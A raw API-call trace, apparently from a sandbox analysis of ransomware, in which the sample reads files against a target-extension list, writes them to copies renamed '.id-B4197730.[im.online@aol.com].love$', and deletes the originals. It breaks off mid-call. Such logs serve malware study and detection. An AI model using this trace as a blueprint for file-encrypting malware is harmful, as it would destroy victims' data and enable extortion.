[0096.107] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.107] lstrlenW (lpString=".dbf") returned 4 [0096.107] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.107] lstrlenW (lpString=".1cd") returned 4 [0096.107] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.107] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\SetupResources.dll") returned 45 [0096.108] lstrlenW (lpString=".jpg") returned 4 [0096.108] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.108] Sleep (dwMilliseconds=0x64) [0096.640] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0096.640] lstrlenW (lpString="SetupResources.dll") returned 18 [0096.640] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0096.641] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18264) returned 1 [0096.641] CloseHandle (hObject=0x2d8) returned 1 [0096.641] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0096.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0096.642] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.642] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0096.644] GetLastError () returned 0x0 [0096.644] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4758, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0096.648] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.648] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0096.648] SetEndOfFile (hFile=0x344) returned 1 [0096.649] CloseHandle (hObject=0x344) returned 1 [0096.652] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.652] SetEndOfFile (hFile=0x2d8) returned 1 [0096.653] CloseHandle (hObject=0x2d8) returned 1 [0096.653] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.654] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0096.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.654] lstrlenW (lpString=".doc") returned 4 [0096.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.654] lstrlenW (lpString=".docx") returned 5 [0096.654] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.654] lstrlenW (lpString=".pdf") returned 4 [0096.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.654] lstrlenW (lpString=".xls") returned 4 [0096.654] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.654] lstrlenW (lpString=".xlsx") returned 5 [0096.654] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.654] lstrlenW (lpString=".ppt") returned 4 [0096.654] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.654] lstrlenW (lpString=".zip") returned 4 [0096.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.654] lstrlenW (lpString=".rar") returned 4 [0096.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.655] lstrlenW (lpString=".bz2") returned 4 [0096.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.655] lstrlenW (lpString=".7z") returned 3 [0096.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.655] lstrlenW (lpString=".dbf") returned 4 [0096.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.655] lstrlenW (lpString=".1cd") returned 4 [0096.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.655] lstrlenW (lpString=".jpg") returned 4 [0096.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.655] lstrlenW (lpString=".doc") returned 4 [0096.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.655] lstrlenW (lpString=".docx") returned 5 [0096.655] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.655] lstrlenW (lpString=".pdf") returned 4 [0096.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.655] lstrlenW (lpString=".xls") returned 4 [0096.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.655] lstrlenW (lpString=".xlsx") returned 5 [0096.655] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.655] lstrlenW (lpString=".ppt") returned 4 [0096.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.656] lstrlenW (lpString=".zip") returned 4 [0096.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.656] lstrlenW (lpString=".rar") returned 4 [0096.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.656] lstrlenW (lpString=".bz2") returned 4 [0096.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.656] lstrlenW (lpString=".7z") returned 3 [0096.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.656] lstrlenW (lpString=".dbf") returned 4 [0096.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.656] lstrlenW (lpString=".1cd") returned 4 [0096.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0096.656] lstrlenW (lpString=".jpg") returned 4 [0096.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.656] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0096.656] lstrlenW (lpString="SetupResources.dll") returned 18 [0096.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0096.657] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18776) returned 1 [0096.657] CloseHandle (hObject=0x2d8) returned 1 [0096.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0096.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0096.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0096.657] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.657] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0096.673] GetLastError () returned 0x0 [0096.673] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0096.676] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0096.678] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.678] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0096.678] SetEndOfFile (hFile=0x344) returned 1 [0096.679] CloseHandle (hObject=0x344) returned 1 [0096.680] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.680] SetEndOfFile (hFile=0x2d8) returned 1 [0096.681] CloseHandle (hObject=0x2d8) returned 1 [0096.682] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0096.682] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0096.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.682] lstrlenW (lpString=".doc") returned 4 [0096.682] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString=".docx") returned 5 [0096.683] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.683] lstrlenW (lpString=".pdf") returned 4 [0096.683] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString=".xls") returned 4 [0096.683] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString=".xlsx") returned 5 [0096.683] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.683] lstrlenW (lpString=".ppt") returned 4 [0096.683] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.683] lstrlenW (lpString=".zip") returned 4 [0096.683] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString=".rar") returned 4 [0096.683] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.683] lstrlenW (lpString=".bz2") returned 4 [0096.683] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.683] lstrlenW (lpString=".7z") returned 3 [0096.683] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.683] lstrlenW (lpString=".dbf") returned 4 [0096.683] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.683] lstrlenW (lpString=".1cd") returned 4 [0096.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.683] lstrlenW (lpString=".jpg") returned 4 [0096.684] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.684] lstrlenW (lpString=".doc") returned 4 [0096.684] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString=".docx") returned 5 [0096.684] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0096.684] lstrlenW (lpString=".pdf") returned 4 [0096.684] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString=".xls") returned 4 [0096.684] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString=".xlsx") returned 5 [0096.684] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0096.684] lstrlenW (lpString=".ppt") returned 4 [0096.684] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.684] lstrlenW (lpString=".zip") returned 4 [0096.684] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString=".rar") returned 4 [0096.684] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0096.684] lstrlenW (lpString=".bz2") returned 4 [0096.684] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0096.684] lstrlenW (lpString=".7z") returned 3 [0096.684] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0096.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.684] lstrlenW (lpString=".dbf") returned 4 [0096.685] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0096.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.685] lstrlenW (lpString=".1cd") returned 4 [0096.685] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0096.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0096.685] lstrlenW (lpString=".jpg") returned 4 [0096.685] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0096.685] Sleep (dwMilliseconds=0x64) [0097.149] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0097.149] lstrlenW (lpString="SetupResources.dll") returned 18 [0097.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.150] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19288) returned 1 [0097.150] CloseHandle (hObject=0x2d8) returned 1 [0097.150] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0097.150] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.150] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.150] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.150] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.150] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0097.151] GetLastError () returned 0x0 [0097.151] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0097.156] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0097.157] ReadFile (in: hFile=0x2d8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.157] WriteFile (in: hFile=0x344, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0097.158] SetEndOfFile (hFile=0x344) returned 1 [0097.176] CloseHandle (hObject=0x344) returned 1 [0097.180] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.180] SetEndOfFile (hFile=0x2d8) returned 1 [0097.181] CloseHandle (hObject=0x2d8) returned 1 [0097.181] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.182] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0097.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.182] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.182] lstrlenW (lpString=".doc") returned 4 [0097.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.182] lstrlenW (lpString=".docx") returned 5 [0097.182] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0097.182] lstrlenW (lpString=".pdf") returned 4 [0097.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.182] lstrlenW (lpString=".xls") returned 4 [0097.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.183] lstrlenW (lpString=".xlsx") returned 5 [0097.183] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0097.183] lstrlenW (lpString=".ppt") returned 4 [0097.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.183] lstrlenW (lpString=".zip") returned 4 [0097.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.183] lstrlenW (lpString=".rar") returned 4 [0097.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.183] lstrlenW (lpString=".bz2") returned 4 [0097.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.183] lstrlenW (lpString=".7z") returned 3 [0097.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.183] lstrlenW (lpString=".dbf") returned 4 [0097.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.183] lstrlenW (lpString=".1cd") returned 4 [0097.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.183] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.183] lstrlenW (lpString=".jpg") returned 4 [0097.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.184] lstrlenW (lpString=".doc") returned 4 [0097.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString=".docx") returned 5 [0097.184] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0097.184] lstrlenW (lpString=".pdf") returned 4 [0097.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString=".xls") returned 4 [0097.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString=".xlsx") returned 5 [0097.184] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0097.184] lstrlenW (lpString=".ppt") returned 4 [0097.184] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.184] lstrlenW (lpString=".zip") returned 4 [0097.184] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString=".rar") returned 4 [0097.184] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.184] lstrlenW (lpString=".bz2") returned 4 [0097.184] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.184] lstrlenW (lpString=".7z") returned 3 [0097.184] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.185] lstrlenW (lpString=".dbf") returned 4 [0097.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.185] lstrlenW (lpString=".1cd") returned 4 [0097.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.185] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45 [0097.185] lstrlenW (lpString=".jpg") returned 4 [0097.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.185] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0097.185] lstrlenW (lpString="SetupResources.dll") returned 18 [0097.185] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.186] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17240) returned 1 [0097.186] CloseHandle (hObject=0x2d8) returned 1 [0097.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0097.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0097.186] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.186] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 